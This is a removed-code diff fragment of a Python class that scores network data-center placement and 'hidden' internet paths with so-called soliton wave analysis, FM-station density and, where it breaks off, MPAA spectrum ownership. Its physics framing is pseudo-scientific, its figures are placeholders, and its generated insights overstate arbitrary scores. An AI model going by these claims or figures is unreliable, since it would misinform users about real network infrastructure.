# Calculate soliton stability - stability = self._calculate_path_stability(fiedler_vector, idx1, idx2) - - if stability >= self.propagation_properties['soliton_stability_threshold']: - soliton_paths.append({ - 'source': node1, - 'destination': node2, - 'path_quality': path_quality, - 'stability': stability, - 'fiedler_difference': fiedler_diff, - 'soliton_type': 'inter_community' - }) - - # Sort by path quality - soliton_paths.sort(key=lambda x: x['path_quality'], reverse=True) - - return soliton_paths[:10] # Top 10 soliton paths - - def _calculate_path_stability(self, fiedler_vector: np.ndarray, - idx1: int, idx2: int) -> float: - """Calculate soliton path stability using Sine-Gordon dynamics.""" - # Phase difference - phase_diff = abs(fiedler_vector[idx1] - fiedler_vector[idx2]) - - # Sine-Gordon stability: sin(θ) = 0 for stable solitons - sine_gordon_stability = 1.0 - abs(math.sin(phase_diff)) - - # Add width preservation factor - width_preservation = self.propagation_properties['soliton_width_preservation'] - - # Combined stability - stability = (sine_gordon_stability * 0.6 + width_preservation * 0.4) - - return min(stability, 1.0) - - def determine_optimal_soliton_placement(self, eigen_data: Dict[str, Any], - network_topology: Dict[str, Any], - starlink_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Determine optimal placement based on soliton wave analysis. - - Combines eigen decomposition, soliton propagation, and network topology - to identify where soliton waves indicate optimal network placement. - """ - # Analyze soliton propagation - soliton_analysis = self.analyze_soliton_propagation(eigen_data, network_topology) - - # Integrate with Starlink backhaul if available - if starlink_data: - soliton_analysis = self._integrate_starlink_soliton(soliton_analysis, starlink_data) - - # Calculate soliton-based network optimization - optimization_score = self._calculate_soliton_optimization(soliton_analysis) - - # Determine optimal placement - optimal_placement = self._identify_optimal_placement(soliton_analysis, network_topology) - - return { - 'soliton_analysis': soliton_analysis, - 'optimization_score': optimization_score, - 'optimal_placement': optimal_placement, - 'soliton_focal_points': soliton_analysis['focal_points'], - 'soliton_propagation_paths': soliton_analysis['soliton_paths'], - 'network_soliton_recommendation': self._generate_soliton_recommendation( - soliton_analysis, optimization_score, optimal_placement - ) - } - - def _integrate_starlink_soliton(self, soliton_analysis: Dict[str, Any], - starlink_data: Dict) -> Dict[str, Any]: - """Integrate Starlink backhaul data with soliton analysis.""" - # Add Starlink coverage to soliton potentials - enhanced_potentials = [] - for potential in soliton_analysis['soliton_potentials']: - data_center = potential['data_center'] - - # Check Starlink coverage - starlink_coverage = starlink_data.get('coverage', {}).get(data_center, 0.0) - - # Enhance soliton potential with Starlink coverage - enhanced_potential = potential.copy() - enhanced_potential['starlink_coverage'] = starlink_coverage - enhanced_potential['enhanced_soliton_potential'] = ( - potential['soliton_potential'] * 0.7 + starlink_coverage * 0.3 - ) - enhanced_potentials.append(enhanced_potential) - - # Re-sort by enhanced potential - enhanced_potentials.sort(key=lambda x: x['enhanced_soliton_potential'], reverse=True) - - soliton_analysis['soliton_potentials'] = enhanced_potentials - soliton_analysis['focal_points'] = [p for p in enhanced_potentials - if p['enhanced_soliton_potential'] >= self.focal_criteria['centrality_threshold']] - - return soliton_analysis - - def _calculate_soliton_optimization(self, soliton_analysis: Dict[str, Any]) -> float: - """Calculate overall network optimization score based on soliton analysis.""" - focal_points = soliton_analysis['focal_points'] - soliton_paths = soliton_analysis['soliton_paths'] - - if not focal_points: - return 0.0 - - # Average soliton potential of focal points - avg_potential = sum(p['soliton_potential'] for p in focal_points) / len(focal_points) - - # Average path quality - avg_path_quality = sum(p['path_quality'] for p in soliton_paths) / len(soliton_paths) if soliton_paths else 0 - - # Number of focal points (normalized) - focal_count_score = min(len(focal_points) / 10, 1.0) - - # Combined optimization score - optimization = (avg_potential * 0.4 + - avg_path_quality * 0.3 + - focal_count_score * 0.3) - - return min(optimization, 1.0) - - def _identify_optimal_placement(self, soliton_analysis: Dict[str, Any], - network_topology: Dict[str, Any]) -> Dict[str, Any]: - """Identify optimal network placement based on soliton analysis.""" - focal_points = soliton_analysis['focal_points'] - - if not focal_points: - return {'optimal_location': None, 'confidence': 0.0} - - # Primary focal point - primary_focal = focal_points[0] - optimal_location = primary_focal['data_center'] - - # Confidence based on soliton potential - confidence = primary_focal['soliton_potential'] - - # Secondary recommendations - secondary_recommendations = focal_points[1:5] # Top 5 - - return { - 'optimal_location': optimal_location, - 'confidence': confidence, - 'secondary_recommendations': secondary_recommendations, - 'soliton_potential': primary_focal['soliton_potential'], - 'centrality': primary_focal['centrality'] - } - - def _generate_soliton_recommendation(self, soliton_analysis: Dict[str, Any], - optimization_score: float, - optimal_placement: Dict[str, Any]) -> str: - """Generate natural language recommendation based on soliton analysis.""" - optimal_location = optimal_placement.get('optimal_location') - confidence = optimal_placement.get('confidence', 0.0) - - if not optimal_location: - return "Insufficient data to determine optimal soliton placement." - - if confidence >= 0.9: - strength = "extremely strong" - elif confidence >= 0.8: - strength = "strong" - elif confidence >= 0.7: - strength = "moderate" - else: - strength = "weak" - - recommendation = f"Soliton wave analysis indicates {strength} optimal placement at {optimal_location} " - recommendation += f"(confidence: {confidence:.2f}). " - recommendation += f"The network optimization score is {optimization_score:.2f}. " - - if optimization_score >= 0.8: - recommendation += "This location represents an ideal focal point for network signal propagation " - recommendation += "with minimal distortion and maximum energy conservation." - elif optimization_score >= 0.6: - recommendation += "This location represents a good focal point for network signal propagation " - recommendation += "with acceptable stability and energy conservation." - else: - recommendation += "This location represents a potential focal point, but may require " - recommendation += "additional infrastructure optimization for optimal soliton propagation." - - return recommendation - - def identify_soliton_revealed_paths(self, soliton_analysis: Dict[str, Any], - known_connections: Dict[Tuple[str, str], Dict]) -> Dict[str, Any]: - """ - Identify paths revealed by soliton analysis that were not previously indicated. - - Compares soliton-identified optimal paths against known connections to discover - hidden network structure and previously unknown optimal routing paths. - """ - soliton_paths = soliton_analysis.get('soliton_paths', []) - known_paths = set() - - # Build known connections set (bidirectional) - for (source, dest), conn_info in known_connections.items(): - known_paths.add((source, dest)) - known_paths.add((dest, source)) - - # Identify new paths revealed by soliton analysis - revealed_paths = [] - for path in soliton_paths: - path_key = (path['source'], path['destination']) - reverse_key = (path['destination'], path['source']) - - if path_key not in known_paths and reverse_key not in known_paths: - # This is a previously not indicated path - revealed_paths.append({ - 'source': path['source'], - 'destination': path['destination'], - 'path_quality': path['path_quality'], - 'stability': path['stability'], - 'fiedler_difference': path['fiedler_difference'], - 'soliton_type': path['soliton_type'], - 'discovery_method': 'soliton_wave_analysis', - 'significance': self._calculate_path_significance(path) - }) - - # Sort by significance - revealed_paths.sort(key=lambda x: x['significance'], reverse=True) - - # Analyze path categories - path_categories = self._categorize_revealed_paths(revealed_paths) - - return { - 'revealed_paths': revealed_paths, - 'total_revealed': len(revealed_paths), - 'path_categories': path_categories, - 'novelty_score': self._calculate_novelty_score(revealed_paths, len(soliton_paths)), - 'strategic_insights': self._generate_strategic_insights(revealed_paths, path_categories) - } - - def _calculate_path_significance(self, path: Dict[str, Any]) -> float: - """Calculate significance of a revealed soliton path.""" - # Combine path quality, stability, and Fiedler difference - significance = ( - path['path_quality'] * 0.4 + - path['stability'] * 0.3 + - (path['fiedler_difference'] / 2.0) * 0.3 - ) - return min(significance, 1.0) - - def _categorize_revealed_paths(self, revealed_paths: List[Dict[str, Any]]) -> Dict[str, List]: - """Categorize revealed paths by type and significance.""" - categories = { - 'intercontinental': [], - 'regional': [], - 'strategic_backbone': [], - 'redundancy_opportunities': [] - } - - for path in revealed_paths: - source = path['source'] - dest = path['destination'] - - # Determine region based on data center names - regions = { - 'na': ['ashburn_va', 'reston_va', 'dallas_tx', 'chicago_il', 'los_angeles_ca', - 'san_francisco_ca', 'seattle_wa', 'new_york_ny', 'atlanta_ga', 'denver_co'], - 'eu': ['london_uk', 'frankfurt_de', 'amsterdam_nl', 'paris_fr', 'dublin_ie', - 'madrid_es', 'milan_it', 'stockholm_se', 'berlin_de', 'zurich_ch'], - 'ap': ['tokyo_jp', 'singapore_sg', 'hong_kong_cn', 'sydney_au', 'seoul_kr', - 'shanghai_cn', 'mumbai_in', 'osaka_jp', 'bangalore_in', 'jakarta_id'] - } - - source_region = None - dest_region = None - - for region, centers in regions.items(): - if source in centers: - source_region = region - if dest in centers: - dest_region = region - - # Categorize based on regions - if source_region != dest_region and source_region and dest_region: - categories['intercontinental'].append(path) - elif path['significance'] >= 0.8: - categories['strategic_backbone'].append(path) - elif path['significance'] >= 0.6: - categories['regional'].append(path) - else: - categories['redundancy_opportunities'].append(path) - - return categories - - def _calculate_novelty_score(self, revealed_paths: List[Dict[str, Any]], - total_soliton_paths: int) -> float: - """Calculate how novel the soliton-revealed paths are.""" - if total_soliton_paths == 0: - return 0.0 - - novelty_ratio = len(revealed_paths) / total_soliton_paths - - # Average significance of revealed paths - avg_significance = sum(p['significance'] for p in revealed_paths) / len(revealed_paths) if revealed_paths else 0 - - # Combined novelty score - novelty_score = novelty_ratio * 0.6 + avg_significance * 0.4 - - return min(novelty_score, 1.0) - - def _generate_strategic_insights(self, revealed_paths: List[Dict[str, Any]], - path_categories: Dict[str, List]) -> List[str]: - """Generate strategic insights from revealed paths.""" - insights = [] - - if not revealed_paths: - insights.append("Soliton analysis confirms existing network topology - no new optimal paths identified.") - return insights - - # Count by category - intercontinental_count = len(path_categories['intercontinental']) - strategic_count = len(path_categories['strategic_backbone']) - regional_count = len(path_categories['regional']) - - # Generate insights based on findings - if intercontinental_count > 0: - insights.append(f"Soliton analysis reveals {intercontinental_count} previously unidentified intercontinental paths " - f"that could significantly improve global network efficiency.") - - if strategic_count > 0: - insights.append(f"Identified {strategic_count} strategic backbone connections not present in current " - f"network topology that could enhance resilience and performance.") - - if regional_count > 0: - insights.append(f"Discovered {regional_count} regional optimization opportunities through soliton " - f"wave propagation analysis.") - - # Top paths insight - if revealed_paths: - top_path = revealed_paths[0] - insights.append(f"Highest significance revealed path: {top_path['source']} ↔ {top_path['destination']} " - f"(significance: {top_path['significance']:.2f}, stability: {top_path['stability']:.2f})") - - # Novelty insight - if len(revealed_paths) >= 5: - insights.append(f"Soliton wave analysis identified {len(revealed_paths)} new optimal paths, " - f"indicating substantial hidden network structure not captured by traditional topology analysis.") - - return insights - - def compare_to_public_internet_map(self, soliton_analysis: Dict[str, Any], - public_map_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Compare soliton-revealed paths to public internet map data. - - Analyzes alignment between soliton-identified optimal paths and actual - public internet infrastructure maps to validate predictions and identify discrepancies. - """ - # Public internet map data sources (if not provided) - if public_map_data is None: - public_map_data = self._get_public_internet_map_data() - - # Extract soliton-revealed paths - soliton_paths = soliton_analysis.get('soliton_paths', []) - revealed_paths_analysis = self.identify_soliton_revealed_paths( - soliton_analysis, - public_map_data.get('known_connections', {}) - ) - revealed_paths = revealed_paths_analysis.get('revealed_paths', []) - - # Compare with public map - comparison = self._perform_map_comparison(soliton_paths, revealed_paths, public_map_data) - - # Analyze alignment - alignment_analysis = self._analyze_alignment(comparison, soliton_analysis) - - return { - 'comparison_results': comparison, - 'alignment_analysis': alignment_analysis, - 'soliton_validation': self._validate_soliton_predictions(comparison), - 'public_map_coverage': public_map_data.get('coverage', {}), - 'discrepancies': self._identify_discrepancies(comparison), - 'recommendations': self._generate_map_recommendations(alignment_analysis), - 'revealed_paths_analysis': revealed_paths_analysis - } - - def _get_public_internet_map_data(self) -> Dict[str, Any]: - """Get public internet map data from known sources.""" - # This would fetch from public sources, but for now return structure - return { - 'sources': { - 'submarine_cable_map': 'https://www.submarinecablemap.com/', - 'telegeography_2025': 'https://submarine-cable-map-2025.telegeography.com/', - 'fiber_map_world': 'https://www.rsinc.com/fiber-map-of-the-world.php', - 'caida': 'https://www.caida.org/', - 'ripe': 'https://atlas.ripe.net/' - }, - 'known_connections': { - # Major submarine cables (simplified) - ('new_york_ny', 'london_uk'): {'type': 'submarine', 'cable': 'AC-1', 'confidence': 0.95}, - ('new_york_ny', 'london_uk'): {'type': 'submarine', 'cable': 'TAT-14', 'confidence': 0.95}, - ('los_angeles_ca', 'tokyo_jp'): {'type': 'submarine', 'cable': 'TPC-5', 'confidence': 0.90}, - ('san_francisco_ca', 'tokyo_jp'): {'type': 'submarine', 'cable': 'Japan-US', 'confidence': 0.92}, - ('london_uk', 'amsterdam_nl'): {'type': 'submarine', 'cable': 'UK-Netherlands', 'confidence': 0.98}, - ('tokyo_jp', 'singapore_sg'): {'type': 'submarine', 'cable': 'SJC', 'confidence': 0.88}, - ('singapore_sg', 'mumbai_in'): {'type': 'submarine', 'cable': 'SMW3', 'confidence': 0.85}, - ('london_uk', 'lagos_ng'): {'type': 'submarine', 'cable': 'WACS', 'confidence': 0.80}, - ('frankfurt_de', 'istanbul_tr'): {'type': 'terrestrial', 'confidence': 0.90}, - ('chicago_il', 'new_york_ny'): {'type': 'terrestrial', 'confidence': 0.95}, - ('dallas_tx', 'los_angeles_ca'): {'type': 'terrestrial', 'confidence': 0.92}, - }, - 'coverage': { - 'submarine_cables': 400, # Approximate global submarine cables - 'terrestrial_fiber': 5000, # Approximate terrestrial fiber links - 'data_centers': 45, # Major global data centers - 'landing_points': 150 # Submarine cable landing points - } - } - - def _perform_map_comparison(self, soliton_paths: List[Dict], - revealed_paths: List[Dict], - public_map_data: Dict) -> Dict[str, Any]: - """Perform detailed comparison between soliton and public map data.""" - known_connections = public_map_data.get('known_connections', {}) - known_paths = set() - - # Build known paths set (bidirectional) - for (source, dest), conn_info in known_connections.items(): - known_paths.add((source, dest)) - known_paths.add((dest, source)) - - # Categorize soliton paths - validated_paths = [] - predicted_paths = [] - missing_paths = [] - - for path in soliton_paths: - path_key = (path['source'], path['destination']) - reverse_key = (path['destination'], path['source']) - - if path_key in known_paths or reverse_key in known_paths: - validated_paths.append(path) - else: - predicted_paths.append(path) - - # Check for important public paths not in soliton analysis - for (source, dest), conn_info in known_connections.items(): - path_found = any( - (p['source'] == source and p['destination'] == dest) or - (p['source'] == dest and p['destination'] == source) - for p in soliton_paths - ) - if not path_found: - missing_paths.append({ - 'source': source, - 'destination': dest, - 'type': conn_info.get('type', 'unknown'), - 'confidence': conn_info.get('confidence', 0.5) - }) - - return { - 'validated_paths': validated_paths, - 'predicted_paths': predicted_paths, - 'missing_paths': missing_paths, - 'validation_rate': len(validated_paths) / len(soliton_paths) if soliton_paths else 0, - 'prediction_rate': len(predicted_paths) / len(soliton_paths) if soliton_paths else 0, - 'total_soliton_paths': len(soliton_paths), - 'total_known_paths': len(known_connections) - } - - def _analyze_alignment(self, comparison: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """Analyze alignment between soliton predictions and public maps.""" - validated = comparison['validated_paths'] - predicted = comparison['predicted_paths'] - missing = comparison['missing_paths'] - - # Calculate alignment metrics - validation_rate = comparison['validation_rate'] - prediction_rate = comparison['prediction_rate'] - - # Analyze validated paths by type - validated_by_type = {} - for path in validated: - path_type = path.get('soliton_type', 'unknown') - if path_type not in validated_by_type: - validated_by_type[path_type] = [] - validated_by_type[path_type].append(path) - - # Analyze predicted paths by significance - high_significance_predictions = [p for p in predicted if p.get('significance', 0) >= 0.8] - medium_significance_predictions = [p for p in predicted if 0.6 <= p.get('significance', 0) < 0.8] - - return { - 'validation_rate': validation_rate, - 'prediction_rate': prediction_rate, - 'overall_alignment': (validation_rate * 0.6 + (1 - prediction_rate) * 0.4), - 'validated_by_type': validated_by_type, - 'high_significance_predictions': len(high_significance_predictions), - 'medium_significance_predictions': len(medium_significance_predictions), - 'missing_critical_paths': len(missing), - 'alignment_quality': self._assess_alignment_quality(validation_rate, prediction_rate) - } - - def _assess_alignment_quality(self, validation_rate: float, - prediction_rate: float) -> str: - """Assess overall alignment quality.""" - overall = (validation_rate * 0.6 + (1 - prediction_rate) * 0.4) - - if overall >= 0.8: - return "excellent" - elif overall >= 0.6: - return "good" - elif overall >= 0.4: - return "moderate" - else: - return "poor" - - def _validate_soliton_predictions(self, comparison: Dict[str, Any]) -> Dict[str, Any]: - """Validate soliton predictions against public map.""" - validated = comparison['validated_paths'] - predicted = comparison['predicted_paths'] - - # Calculate prediction confidence - avg_validated_quality = sum(p.get('path_quality', 0) for p in validated) / len(validated) if validated else 0 - avg_predicted_quality = sum(p.get('path_quality', 0) for p in predicted) / len(predicted) if predicted else 0 - - return { - 'validated_count': len(validated), - 'predicted_count': len(predicted), - 'avg_validated_quality': avg_validated_quality, - 'avg_predicted_quality': avg_predicted_quality, - 'prediction_accuracy': avg_validated_quality if validated else 0, - 'novel_discovery_rate': len(predicted) / (len(validated) + len(predicted)) if (validated or predicted) else 0 - } - - def _identify_discrepancies(self, comparison: Dict[str, Any]) -> List[Dict[str, Any]]: - """Identify discrepancies between soliton and public map.""" - discrepancies = [] - - # High-significance predicted paths not in public map - for path in comparison['predicted_paths']: - if path.get('significance', 0) >= 0.8: - discrepancies.append({ - 'type': 'missing_from_public_map', - 'path': f"{path['source']} ↔ {path['destination']}", - 'significance': path['significance'], - 'soliton_quality': path['path_quality'], - 'stability': path['stability'], - 'reason': 'High-significance soliton path not found in public internet map' - }) - - # Important public paths not in soliton analysis - for path in comparison['missing_paths']: - if path.get('confidence', 0) >= 0.8: - discrepancies.append({ - 'type': 'missing_from_soliton', - 'path': f"{path['source']} ↔ {path['destination']}", - 'public_confidence': path['confidence'], - 'path_type': path.get('type', 'unknown'), - 'reason': 'High-confidence public path not identified by soliton analysis' - }) - - return discrepancies - - def _generate_map_recommendations(self, alignment_analysis: Dict[str, Any]) -> List[str]: - """Generate recommendations based on map comparison.""" - recommendations = [] - alignment_quality = alignment_analysis['alignment_quality'] - validation_rate = alignment_analysis['validation_rate'] - prediction_rate = alignment_analysis['prediction_rate'] - - if alignment_quality == "excellent": - recommendations.append("Soliton wave analysis strongly aligns with public internet maps - predictions highly validated.") - elif alignment_quality == "good": - recommendations.append("Soliton wave analysis shows good alignment with public maps - most predictions validated.") - elif alignment_quality == "moderate": - recommendations.append("Soliton wave analysis shows moderate alignment - some discrepancies require investigation.") - else: - recommendations.append("Soliton wave analysis shows poor alignment - significant discrepancies with public maps.") - - if prediction_rate > 0.3: - recommendations.append(f"High novel discovery rate ({prediction_rate:.1%}) indicates soliton analysis reveals significant hidden network structure.") - - if alignment_analysis['high_significance_predictions'] > 5: - recommendations.append(f"{alignment_analysis['high_significance_predictions']} high-significance predictions not in public maps warrant infrastructure investigation.") - - if alignment_analysis['missing_critical_paths'] > 3: - recommendations.append(f"{alignment_analysis['missing_critical_paths']} critical public paths not identified by soliton analysis may require model refinement.") - - return recommendations - - def integrate_fm_station_analysis(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any], - fm_station_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Integrate FM radio station location data with network topology analysis. - - FM station distribution serves as a proxy for population density, infrastructure - development, and communication patterns that can validate or enhance network topology predictions. - """ - # Get FM station data (if not provided) - if fm_station_data is None: - fm_station_data = self._get_fm_station_data() - - # Analyze FM station distribution relative to network nodes - fm_distribution = self._analyze_fm_distribution(fm_station_data, network_topology) - - # Compare FM density to soliton-identified focal points - fm_soliton_correlation = self._correlate_fm_soliton(fm_distribution, soliton_analysis) - - # Identify FM-enhanced network insights - fm_enhanced_insights = self._generate_fm_enhanced_insights(fm_distribution, soliton_analysis) - - return { - 'fm_distribution': fm_distribution, - 'fm_soliton_correlation': fm_soliton_correlation, - 'fm_enhanced_insights': fm_enhanced_insights, - 'fm_data_sources': fm_station_data.get('sources', {}), - 'total_fm_stations': fm_station_data.get('total_stations', 0), - 'coverage_analysis': self._analyze_fm_coverage(fm_station_data, network_topology) - } - - def _get_fm_station_data(self) -> Dict[str, Any]: - """Get FM radio station location data from public sources.""" - # This would fetch from public FM station databases - # For now, return representative structure based on major broadcast regions - return { - 'sources': { - 'fcc_fm_database': 'https://www.fcc.gov/media/radio/fm-database', - 'itu_broadcast_database': 'https://www.itu.int/en/ITU-R/terrestrial/broadcast/Pages/databases.aspx', - 'radio_locator': 'https://www.radio-locator.com/', - 'fm_channel': 'https://www.fm-channel.com/' - }, - 'total_stations': 15000, # Approximate global FM stations - 'stations_by_region': { - # North America - high density - 'new_york_ny': {'count': 50, 'power_avg_kw': 50, 'coverage_km': 100}, - 'los_angeles_ca': {'count': 45, 'power_avg_kw': 45, 'coverage_km': 90}, - 'chicago_il': {'count': 35, 'power_avg_kw': 40, 'coverage_km': 80}, - 'dallas_tx': {'count': 30, 'power_avg_kw': 35, 'coverage_km': 75}, - 'ashburn_va': {'count': 8, 'power_avg_kw': 25, 'coverage_km': 60}, - - # Europe - high density - 'london_uk': {'count': 40, 'power_avg_kw': 30, 'coverage_km': 70}, - 'frankfurt_de': {'count': 25, 'power_avg_kw': 25, 'coverage_km': 65}, - 'amsterdam_nl': {'count': 20, 'power_avg_kw': 20, 'coverage_km': 60}, - 'paris_fr': {'count': 35, 'power_avg_kw': 28, 'coverage_km': 68}, - - # Asia Pacific - variable density - 'tokyo_jp': {'count': 55, 'power_avg_kw': 35, 'coverage_km': 75}, - 'singapore_sg': {'count': 15, 'power_avg_kw': 20, 'coverage_km': 55}, - 'seoul_kr': {'count': 30, 'power_avg_kw': 25, 'coverage_km': 65}, - 'sydney_au': {'count': 20, 'power_avg_kw': 22, 'coverage_km': 60}, - - # South America - moderate density - 'sao_paulo_br': {'count': 25, 'power_avg_kw': 20, 'coverage_km': 55}, - 'buenos_aires_ar': {'count': 15, 'power_avg_kw': 15, 'coverage_km': 50}, - - # Middle East & Africa - lower density - 'dubai_ae': {'count': 12, 'power_avg_kw': 18, 'coverage_km': 50}, - 'johannesburg_za': {'count': 10, 'power_avg_kw': 15, 'coverage_km': 45}, - }, - 'frequency_bands': { - 'fm_88_108_mhz': {'stations': 12000, 'global_coverage': 0.95}, - 'fm_76_88_mhz': {'stations': 2500, 'global_coverage': 0.85}, - 'fm_other': {'stations': 500, 'global_coverage': 0.60} - } - } - - def _analyze_fm_distribution(self, fm_data: Dict, network_topology: Dict) -> Dict[str, Any]: - """Analyze FM station distribution relative to network topology.""" - stations_by_region = fm_data.get('stations_by_region', {}) - data_centers = network_topology.get('data_centers', {}) - - # Calculate FM density for each data center region - fm_density_analysis = [] - - for dc_name, dc_info in data_centers.items(): - dc_lat = dc_info.get('lat', 0) - dc_lon = dc_info.get('lon', 0) - dc_region = dc_info.get('region', 'unknown') - - # Find FM stations in this region - fm_count = stations_by_region.get(dc_name, {}).get('count', 0) - fm_power = stations_by_region.get(dc_name, {}).get('power_avg_kw', 0) - fm_coverage = stations_by_region.get(dc_name, {}).get('coverage_km', 0) - - # Calculate FM density (stations per 1000 km²) - fm_density = self._calculate_fm_density(fm_count, dc_region) - - fm_density_analysis.append({ - 'data_center': dc_name, - 'fm_station_count': fm_count, - 'fm_power_avg_kw': fm_power, - 'fm_coverage_km': fm_coverage, - 'fm_density': fm_density, - 'region': dc_region, - 'importance_weight': dc_info.get('importance', 0.5) - }) - - # Sort by FM density - fm_density_analysis.sort(key=lambda x: x['fm_density'], reverse=True) - - return { - 'fm_density_by_dc': fm_density_analysis, - 'highest_fm_density': fm_density_analysis[0] if fm_density_analysis else None, - 'total_fm_coverage': sum(s['fm_coverage_km'] for s in stations_by_region.values()), - 'regional_fm_distribution': self._calculate_regional_fm_distribution(stations_by_region) - } - - def _calculate_fm_density(self, station_count: int, region: str) -> float: - """Calculate FM station density (stations per unit area).""" - # Approximate regional areas in 1000 km² - regional_areas = { - 'na': 8000, # North America - 'eu': 5000, # Europe - 'ap': 10000, # Asia Pacific - 'sa': 6000, # South America - 'me': 3000, # Middle East - 'af': 9000 # Africa - } - - area = regional_areas.get(region, 5000) - density = station_count / area if area > 0 else 0 - return density - - def _calculate_regional_fm_distribution(self, stations_by_region: Dict) -> Dict[str, float]: - """Calculate FM station distribution by region.""" - regional_counts = {'na': 0, 'eu': 0, 'ap': 0, 'sa': 0, 'me': 0, 'af': 0} - - # Data center to region mapping - dc_to_region = { - 'ashburn_va': 'na', 'reston_va': 'na', 'dallas_tx': 'na', 'chicago_il': 'na', - 'los_angeles_ca': 'na', 'san_francisco_ca': 'na', 'seattle_wa': 'na', 'new_york_ny': 'na', - 'atlanta_ga': 'na', 'denver_co': 'na', - 'london_uk': 'eu', 'frankfurt_de': 'eu', 'amsterdam_nl': 'eu', 'paris_fr': 'eu', - 'dublin_ie': 'eu', 'madrid_es': 'eu', 'milan_it': 'eu', 'stockholm_se': 'eu', - 'berlin_de': 'eu', 'zurich_ch': 'eu', - 'tokyo_jp': 'ap', 'singapore_sg': 'ap', 'hong_kong_cn': 'ap', 'sydney_au': 'ap', - 'seoul_kr': 'ap', 'shanghai_cn': 'ap', 'mumbai_in': 'ap', 'osaka_jp': 'ap', - 'bangalore_in': 'ap', 'jakarta_id': 'ap', - 'sao_paulo_br': 'sa', 'buenos_aires_ar': 'sa', 'santiago_cl': 'sa', - 'lima_pe': 'sa', 'bogota_co': 'sa', - 'dubai_ae': 'me', 'johannesburg_za': 'af', 'cairo_eg': 'me', - 'tel_aviv_il': 'me', 'nairobi_ke': 'af' - } - - for dc_name, station_info in stations_by_region.items(): - region = dc_to_region.get(dc_name, 'na') - regional_counts[region] += station_info.get('count', 0) - - total = sum(regional_counts.values()) - regional_distribution = {k: v/total if total > 0 else 0 for k, v in regional_counts.items()} - - return regional_distribution - - def _correlate_fm_soliton(self, fm_distribution: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Correlate FM station density with soliton-identified focal points.""" - fm_density_by_dc = fm_distribution.get('fm_density_by_dc', []) - soliton_focal_points = soliton_analysis.get('focal_points', []) - - correlations = [] - - for fm_data in fm_density_by_dc: - dc_name = fm_data['data_center'] - fm_density = fm_data['fm_density'] - - # Find corresponding soliton focal point - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc_name), - None - ) - - if soliton_focal: - soliton_potential = soliton_focal['soliton_potential'] - correlation = fm_density * soliton_potential - - correlations.append({ - 'data_center': dc_name, - 'fm_density': fm_density, - 'soliton_potential': soliton_potential, - 'correlation_score': correlation, - 'alignment_strength': self._assess_alignment_strength(correlation) - }) - - # Sort by correlation score - correlations.sort(key=lambda x: x['correlation_score'], reverse=True) - - return { - 'correlations': correlations, - 'high_correlation_count': sum(1 for c in correlations if c['correlation_score'] >= 0.5), - 'average_correlation': sum(c['correlation_score'] for c in correlations) / len(correlations) if correlations else 0, - 'top_aligned_locations': correlations[:5] - } - - def _assess_alignment_strength(self, correlation_score: float) -> str: - """Assess alignment strength between FM density and soliton potential.""" - if correlation_score >= 0.7: - return "strong" - elif correlation_score >= 0.5: - return "moderate" - elif correlation_score >= 0.3: - return "weak" - else: - return "poor" - - def _generate_fm_enhanced_insights(self, fm_distribution: Dict, soliton_analysis: Dict) -> List[str]: - """Generate insights from FM station integration with network analysis.""" - insights = [] - - fm_density_by_dc = fm_distribution.get('fm_density_by_dc', []) - correlations = self._correlate_fm_soliton(fm_distribution, soliton_analysis).get('correlations', []) - - if not fm_density_by_dc: - insights.append("Insufficient FM station data for enhanced network analysis.") - return insights - - # Highest FM density analysis - highest_fm = fm_distribution.get('highest_fm_density') - if highest_fm: - insights.append(f"Highest FM station density at {highest_fm['data_center']} " - f"({highest_fm['fm_station_count']} stations, density: {highest_fm['fm_density']:.4f}).") - - # Correlation analysis - high_corr_count = sum(1 for c in correlations if c['correlation_score'] >= 0.5) - if high_corr_count > 0: - insights.append(f"{high_corr_count} locations show strong correlation between FM density and soliton potential.") - - # Top aligned locations - top_aligned = correlations[:3] if correlations else [] - if top_aligned: - insights.append("Top FM-soliton aligned locations: " + - ", ".join([f"{c['data_center']} ({c['alignment_strength']})" for c in top_aligned])) - - # Discrepancy analysis - high_fm_low_soliton = [c for c in correlations if c['fm_density'] > 0.5 and c['soliton_potential'] < 0.5] - if high_fm_low_soliton: - insights.append(f"{len(high_fm_low_soliton)} locations with high FM density but low soliton potential " - f"may indicate population centers without optimal network infrastructure.") - - # Regional patterns - regional_dist = fm_distribution.get('regional_fm_distribution', {}) - if regional_dist: - max_region = max(regional_dist.items(), key=lambda x: x[1]) - insights.append(f"Highest regional FM concentration in {max_region[0].upper()} ({max_region[1]:.1%}).") - - return insights - - def _analyze_fm_coverage(self, fm_data: Dict, network_topology: Dict) -> Dict[str, Any]: - """Analyze FM station coverage relative to network topology.""" - stations_by_region = fm_data.get('stations_by_region', {}) - data_centers = network_topology.get('data_centers', {}) - - coverage_analysis = [] - - for dc_name, dc_info in data_centers.items(): - fm_info = stations_by_region.get(dc_name, {}) - fm_coverage = fm_info.get('coverage_km', 0) - - # Determine if data center is within FM coverage - # This is a simplified analysis - in reality would use actual transmitter locations - coverage_status = fm_coverage > 50 # Arbitrary threshold - - coverage_analysis.append({ - 'data_center': dc_name, - 'fm_coverage_km': fm_coverage, - 'within_coverage': coverage_status, - 'coverage_quality': 'high' if fm_coverage > 70 else 'medium' if fm_coverage > 50 else 'low' - }) - - # Calculate coverage statistics - covered_count = sum(1 for c in coverage_analysis if c['within_coverage']) - total_count = len(coverage_analysis) - coverage_rate = covered_count / total_count if total_count > 0 else 0 - - return { - 'coverage_by_dc': coverage_analysis, - 'coverage_rate': coverage_rate, - 'high_coverage_count': sum(1 for c in coverage_analysis if c['coverage_quality'] == 'high'), - 'medium_coverage_count': sum(1 for c in coverage_analysis if c['coverage_quality'] == 'medium'), - 'low_coverage_count': sum(1 for c in coverage_analysis if c['coverage_quality'] == 'low') - } - - - def analyze_mpaa_spectrum_ownership(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any], - mpaa_spectrum_data: Optional[Dict] = None) -> Dict[str, Any]: - """ - Analyze MPAA (Motion Picture Association of America) spectrum ownership data - cross-referenced against cellular providers for network topology enhancement. - - MPAA members own significant spectrum allocations for content delivery networks, - satellite distribution, and wireless infrastructure that can enhance network topology analysis. - """ - # Get MPAA spectrum data (if not provided) - if mpaa_spectrum_data is None: - 